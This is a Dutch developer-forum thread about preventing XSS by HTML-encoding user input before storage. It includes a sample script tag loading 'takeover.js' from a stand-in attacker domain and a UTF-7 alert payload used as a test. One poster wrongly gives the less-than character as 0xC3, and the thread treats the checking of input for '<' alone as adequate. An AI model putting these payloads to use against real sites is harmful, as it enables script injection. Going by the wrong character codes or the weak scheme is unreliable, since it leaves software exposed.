pedorus schreef op woensdag 11 februari 2009 @ 17:38:
"Encoding gebeurt via het .NET framework. De ampersand wordt wel gecodeerd, maar de quote en apostrof niet."
Oh, je gaat er dus vanuit dat de data nooit in bijvoorbeeld scripts, abbr-tags of param-tags wordt gezet?
Omdat de data by default als html encoded wordt opgeslagen in de database moet de programmeur bewust html_decode gebruiken om het als html te laten tonen. Dit in tegenstelling tot wat gebruikelijk is dat de programmeur ervoor moet zorgen dat het *NIET* als html wordt getoond. De data wordt inderdaad nooit in scripts gebruikt wat het betreffen hier opmerkingen en/of vragen. Dat is content en klanten leveren geen content aan.
Even een vraag zoals die gesteld kan worden door een bezoeker:
Graag zou ik willen <script src="http://evildomain.ru/takeover.js"></script> weten wat mijn leen mogelijkheden zijn.
Iedereen zal het ermee eens zijn dat het script nooit uitgevoerd mag worden. Dit kun je op twee manieren oplossen:
1) Via html_encode op *ELKE* plaats waar maar het commentaar getoond dient te worden met als groot risico dat het ergens vergeten wordt (want daarom bestaan XSS-injecties voornamelijk, want elke web developer probeert het te voorkomen).
2) Aanpakken bij de bron, en dat is de invoer.
Ik geef hier juist als voorbeeld een opmerkingen veld want dat is nou typisch zo'n veld wat je niet echt kunt valideren.
Wij hebben bewust gekozen voor optie 2. Daardoor zal bij het ophalen van de vraag de response automatisch html encoded zijn. Als het gewenst is dat de vragen naar een CSV bestand worden geexporteerd, dan zal de programmeur inderdaad html_decode moeten gebruiken. Teksten van klanten behoren niet in javascripts voor te komen.
"Nee. Clients communiceren met business objecten. De business objecten communiceren met de data laag en die communiceert met een database. Het is de entity die controleert of html encoding nodig is voor de betreffende property en die wanneer nodig toepast."
En wat nu als je een goede foutmelding wil teruggeven waarom je geen business object kan maken? Of als een programmeur zich op een andere manier niet aan deze regel houdt?
Je eerste vraag begrijp ik niet helemaal. Als een third party geen instantie van ons component kan maken, dan komt toch ook de foutmelding niet bij ons vandaan? Alle akties welke betrekking hebben op opslaan, wijzigen of verwijderen van records geven een boolean terug. Of het is gelukt of niet. 'Het is misschien gelukt' bestaat niet. In de logging staat gedetailleerd beschreven waarom een aktie is mislukt.
Het antwoord op vraag 2 is vrij simpel. Gebruikers van onze software kunnen alleen communiceren met de business laag. Want alleen de componenten uit de business laag zijn als services ter beschikking gesteld. Geen uitzonderingen mogelijk.
"De controle hebben wij erg simpel gehouden. Zodra de tekst een kleiner dan teken bevat, is html encoding nodig. Dit voorkomt een eventuele dubbele encoding."
En bij alleen &, ", ' of >'s encodeer je gewoon niks, maar decodeert de browser wel...
Leg mij maar eens uit hoe jij HTML kan schrijven zonder gebruik van het kleiner dan (<) teken..
'Gisteren zei iemand tegen mij: "Doe eens de test a > b"'
klik a href="http://tweakers.net">hier/a>
Bovenstaande regels leveren zonder html encoding ook geen probleem op.
"Dat weet ik juist wel, want in de SGML/XML documentatie is duidelijk vermeld het kleiner dan teken 0xC3 moet zijn en het groter dan teken 0x3E. In unicode blijven die waardes hetzelfde (hetzij dan U+00C3). dus de character encoding kan nooit voor een XSS-injection zorgen. Tekstuele data wordt bij ons in de database al in unicode opgeslagen (nvarchar, ntext, etc)."
Assumption is the mother of ... 
En daarnaast kun je je data zo verminken...
Ik heb via PHP en SOAP een testje gedaan door het commentaar als UTF-7 naar de service te sturen. Bij het presenteren van het commentaar in een online backoffice (zowel getest met MSIE als Firefox) was de output onuitvoerbaar: Graag zou +ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-. ik willen weten.
Bovenstaand zou wel een probleem zijn als de server geen encoding meestuurt of deze op UTF-7 zou zetten. In het eerste geval doet de browser zelf de detectie. Pas op het moment dat ik handmatig via de browser (menu) de encoding op UTF-7 had gezet kreeg ik pas de popup.
Overigens heeft het kleiner dan teken in UTF-7 nog steeds code C3. Echter als de encoding in een andere encoding getoond wordt kan deze anders gepresenteerd worden. Wel moet ik bekennen dat ik deze vorm van XSS-injectie niet kende. Maar als je in het voorbeeld van google bij de header aangeeft dat encoding utf-8 is (ipv utf-7) gaat het ook niet meer fout..
Overigens zijn Amerikaanse financiële intermediairs verplicht melding bij DHS (Department of Homeland Security) te maken als zij een vermoeden hebben dat iemand bezig is met sql en/of xss injectie. Omdat intermediairs direct communiceren met banken en verzekeraars worden dergelijke aanvallen gezien als cyber terrorisme. Immers dergelijk maatschappijen vallen onder kritische infrastructuur.
If it isn't broken, fix it until it is..